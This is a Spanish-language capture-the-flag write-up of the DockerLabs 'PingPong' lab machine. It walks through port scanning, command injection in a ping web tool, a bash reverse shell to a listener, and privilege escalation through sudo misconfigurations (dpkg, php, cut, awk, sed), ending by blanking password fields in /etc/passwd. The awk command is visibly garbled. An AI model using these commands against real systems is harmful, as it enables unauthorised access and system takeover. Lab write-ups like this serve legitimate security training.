PingPong Dockerlabs
Máquina PingPong de DockerLabs [Dificultad Media]
Reconocimiento
Comenzamos con un escaneo completo de nmap
para sacar los puertos y versiones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ nmap -sSCV --min-rate=5000 -Pn -n -p- 172.17.0.2 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-29 20:01 CET
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.58 (Ubuntu)
| ssl-cert: Subject: commonName=example.com/organizationName=Your Organization/stateOrProvinceName=California/countryName=US
| Not valid before: 2024-05-19T14:20:49
|_Not valid after: 2025-05-19T14:20:49
|_ssl-date: TLS randomness does not represent time
|_http-title: Apache2 Ubuntu Default Page: It works
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
|_http-title: Ping Test
MAC Address: AA:E9:FC:7E:83:56 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.46 seconds
Nmap nos reporta los puertos 80, 443 y 5000:
Por el puerto 443(https) tenemos esta web que tiene el .html por defecto de apache por lo que voy a ejecutar gobuster
para listar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ gobuster dir -u https://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,bak -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,bak
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 10671]
/javascript (Status: 301) [Size: 315] [--> https://172.17.0.2/javascript/]
/machine.php (Status: 200) [Size: 6989]
Rápidamente gobuster
me reporta esta web donde poco podemos hacer.
En cambio, por el puerto 5000 tenemos esta web que parece que hace un ping
:
Explotación
Pruebo Command Injection y es vulnerable:
Entonces me lanzo una reverse shell:
1
bash -c "bash -i >& /dev/tcp/192.168.1.89/4444 0>&1"
Escalada
Una vez dentro como el usuario freddy tenemos los siguientes usuarios en la máquina:
1
2
3
4
5
6
7
8
freddy@2d7edf097ede:~/Desktop$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
freddy:x:1001:1001::/home/freddy:/bin/bash
bobby:x:1002:1002::/home/bobby:/bin/bash
gladys:x:1003:1003::/home/gladys:/bin/bash
chocolatito:x:1004:1004::/home/chocolatito:/bin/bash
theboss:x:1005:1005::/home/theboss:/bin/bash
Como freddy podemos ejecutar dpkg
como bobby:
1
2
3
4
5
6
7
8
freddy@2d7edf097ede:/opt$ sudo -l
Matching Defaults entries for freddy on 2d7edf097ede:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User freddy may run the following commands on 2d7edf097ede:
(bobby) NOPASSWD: /usr/bin/dpkg
Para escalar ejecuto:
1
freddy@2d7edf097ede:/opt$ sudo -u bobby dpkg -l
Y luego pongo:
Como bobby me vi obligado a mudar de shell ya que estaba teniendo muchos problemas para la próxima escalada:
Como bobby podemos ejecutar php
como gladys
1
2
3
4
5
6
7
8
bobby@2d7edf097ede:/opt$ sudo -l
Matching Defaults entries for bobby on 2d7edf097ede:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User bobby may run the following commands on 2d7edf097ede:
(gladys) NOPASSWD: /usr/bin/php
Para la escalada ejecuto lo siguiente:
1
sudo -u gladys /usr/bin/php -r "system('/bin/sh');"
Ahora como gladys podemos ejecutar cut
como chocolatito:
1
2
3
4
5
6
7
8
whoami
gladys
sudo -l
Matching Defaults entries for gladys on 2d7edf097ede:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User gladys may run the following commands on 2d7edf097ede:
(chocolatito) NOPASSWD: /usr/bin/cut
Pronto vi que chocolatito tenia guardada su contraseña en /opt:
1
2
3
find / -user chocolatito 2> /dev/null
/opt/chocolatitocontraseña.txt
/home/chocolatito
Para poder leerla ejecute lo siguiente:
1
2
sudo -u chocolatito /usr/bin/cut -d "" -f 1 /opt/chocolatitocontraseña.txt
chocolatitopassword
Ahora como chocolatito podemos ejecutar awk
como theboss:
1
2
3
4
5
6
chocolatito@2d7edf097ede:/home/freddy$ sudo -l
Matching Defaults entries for chocolatito on 2d7edf097ede:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User chocolatito may run the following commands on 2d7edf097ede:
(theboss) NOPASSWD: /usr/bin/awk
Para la escalada ejecuto:
1
2
3
chocolatito@2d7edf097ede:/home/freddy$ sudo -u theboss /usr/bin/awk 'BEGIN {system("/bin/s'BEGIN {system("/bin/sh")}'
id
uid=1005(theboss) gid=1005(theboss) groups=1005(theboss)
Por último y terminando, como theboss podemos ejecutar sed
como root, por lo que podemos aprovecharnos de esto y quitar las “x” en el /etc/passwd y así indicamos que los usuario no tienen contraseñas:
1
2
3
4
5
6
sudo -l
Matching Defaults entries for theboss on 2d7edf097ede:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User theboss may run the following commands on 2d7edf097ede:
(root) NOPASSWD: /usr/bin/sed
Explicación del /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
### /etc/passwd sintaxis
mark:x:1001:1001:mark,,,:/home/mark:/bin/bash
[--] - [--] [--] [-----] [--------] [--------]
| | | | | | |
| | | | | | +-> 7. Login shell
| | | | | +----------> 6. Home directory
| | | | +--------------------> 5. GECOS
| | | +--------------------------> 4. GID
| | +-------------------------------> 3. UID
| +-----------------------------------> 2. Password stored in /etc/shadow
+----------------------------------------> 1. Username
Quedaría así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sudo sed "s/x//g" /etc/passwd
root::0:0:root:/root:/bin/bash
daemon::1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin::2:2:bin:/bin:/usr/sbin/nologin
sys::3:3:sys:/dev:/usr/sbin/nologin
sync::4:65534:sync:/bin:/bin/sync
games::5:60:games:/usr/games:/usr/sbin/nologin
man::6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail::8:8:mail:/var/mail:/usr/sbin/nologin
news::9:9:news:/var/spool/news:/usr/sbin/nologin
uucp::10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proy::13:13:proy:/bin:/usr/sbin/nologin
www-data::33:33:www-data:/var/www:/usr/sbin/nologin
backup::34:34:backup:/var/backups:/usr/sbin/nologin
list::38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc::39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt::42:65534::/noneistent:/usr/sbin/nologin
nobody::65534:65534:nobody:/noneistent:/usr/sbin/nologin
ubuntu::1000:1000:Ubuntu:/home/ubuntu:/bin/bash
freddy::1001:1001::/home/freddy:/bin/bash
bobby::1002:1002::/home/bobby:/bin/bash
gladys::1003:1003::/home/gladys:/bin/bash
chocolatito::1004:1004::/home/chocolatito:/bin/bash
theboss::1005:1005::/home/theboss:/bin/bash
Ejecutamos con el parámetro -i
para que guarde los cambios y ahora nos podemos logear como root SIN proporcionar contraseña:
1
2
3
sudo sed -i "s/x//g" /etc/passwd
su root
root@2d7edf097ede:/home/freddy#